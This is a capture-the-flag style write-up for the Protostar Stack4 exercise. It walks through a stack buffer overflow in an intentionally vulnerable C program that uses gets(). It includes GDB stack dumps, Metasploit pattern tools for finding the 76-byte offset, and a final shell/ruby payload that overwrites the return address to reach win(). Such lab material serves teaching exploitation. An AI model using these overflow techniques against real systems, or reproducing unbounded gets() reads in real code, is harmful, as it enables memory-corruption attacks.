Exploit-exercises Protostar Stack4 write-up

In this exercise, we are getting really close to what a classical stack overflow scenario is. However, in stack4 we still don’t need a shellcode to solve the exercise, as we are asked again to redirect the execution flow to a function called win().

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

This time we don’t have a pointer to a function that we can overwrite to redirect the execution flow to the win() function. Instead, we have to overwrite the ret address.

We take a look at how would be the stack layout for this process:

+------------+ Lower addresses
|    ...     | 
+------------+ <-- ESP
|   buffer   | 
|     .      | 
|     .      |
+------------+ <-- EBP
| stored_ebp | 
+------------+
|    ret     | 
+------------+
|    argc    | 
+------------+
|    argv    | 
+------------+
|    ...     | 
+------------+ Higher addresses

As we can see, we should fill the buffer and overwrite the stored EBP in order to reach the ret address. The next step then, is to calculate the padding needed to overwrite the ret address. This time we cannot use the same method as in the previous exercises, because the ret address is not immediately after the buffer and the compilar padding can also increase the bytes needed.

To calculate the padding needed, we can do it either manually with GDB and a coredump file, or with the tools provided with metasploit.

GDB

To do it manually, it is important to have in mind the stack layout detailed above, as we need to calculate the difference between the start of the buffer and the ret address.

First we need to know where starts the buffer, by filling the first 4 bytes of it with a known value, such as “AAAA”, and then looking for it in the stack with GDB. We place a breakpoint just after the call to gets() and let it run until it stops, to look at the stack.

(gdb) x/32x $esp
0xbffff780:     0xbffff790      0xb7ec6165      0xbffff798      0xb7eada75
0xbffff790:     0x41414141      0x08049500      0xbffff7a8      0x080482e8
0xbffff7a0:     0xb7ff1040      0x080495ec      0xbffff7d8      0x08048449
0xbffff7b0:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7d8
0xbffff7c0:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7d0:     0x08048430      0x00000000      0xbffff858      0xb7eadc76
0xbffff7e0:     0x00000001      0xbffff884      0xbffff88c      0xb7fe1848
0xbffff7f0:     0xbffff840      0xffffffff      0xb7ffeff4      0x0804824b

It can be clearly seen that our “AAAA” input is at address 0xbffff790, codified as 0x41414141.

Now we need to get the address of the ret address. Recall that it is right after the stored EBP, so we can get this info, again, with GDB.

(gdb) x/32x $ebp                                                                                                       
0xbffff7d8:     0xbffff858      0xb7eadc76      0x00000001      0xbffff884
0xbffff7e8:     0xbffff88c      0xb7fe1848      0xbffff840      0xffffffff
0xbffff7f8:     0xb7ffeff4      0x0804824b      0x00000001      0xbffff840
0xbffff808:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffff818:     0x00000000      0x00000000      0xbffff858      0x9bd07555
0xbffff828:     0xb187c345      0x00000000      0x00000000      0x00000000
0xbffff838:     0x00000001      0x08048340      0x00000000      0xb7ff6210
0xbffff848:     0xb7eadb9b      0xb7ffeff4      0x00000001      0x08048340

Looking at the stack print above, the stored EBP is 0xbffff858, thus the ret address is 0xb7eadc76, which is located at 0xbffff7dc. Then, if we subtract the address of the buffer from the address of the ret addres, we get the actual size of the padding, wich is 0xbffff7dc - 0xbffff790 = 0x4c = 76.

Metasploit

In the tools folder of Metasploit framework there are several useful tools, from which we will use the ones called pattern_create and pattern_offset.

$ ./pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac
5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Pattern_crate creates a pattern that should be used as the input to the buffer we want to overflow, so when the binary crashes the coredump will contain the invalid ret address that caused the crash. We can open the binary with the generated coredump to view the crash information and, therefore, obtain that address.

$ gdb stack4 /tmp/core.11.stack4.11175
[...]
Core was generated by `./stack4'.
Program terminated with signal 11, Segmentation fault.
#0  0x63413563 in ?? ()
[...]

Now, we just need to get the value of the address and pass it as input to pattern_offset, followed by the length of the pattern used.

$ ./pattern_offset.rb 0x63413563 100
[*] Exact match at offset 76

Now that we already have the size of the padding needed to reach the ret address, we only need to attach the address of win() in little endian and we will be done. To get the address we use the same method used in stack3.

The final solution is in the following snippet:

#!/bin/bash

mkfifo pipe
./stack4 < pipe &
ruby -e ' puts "A"*76 + "\xf4\x83\x04\x08" ' > pipe
rm pipe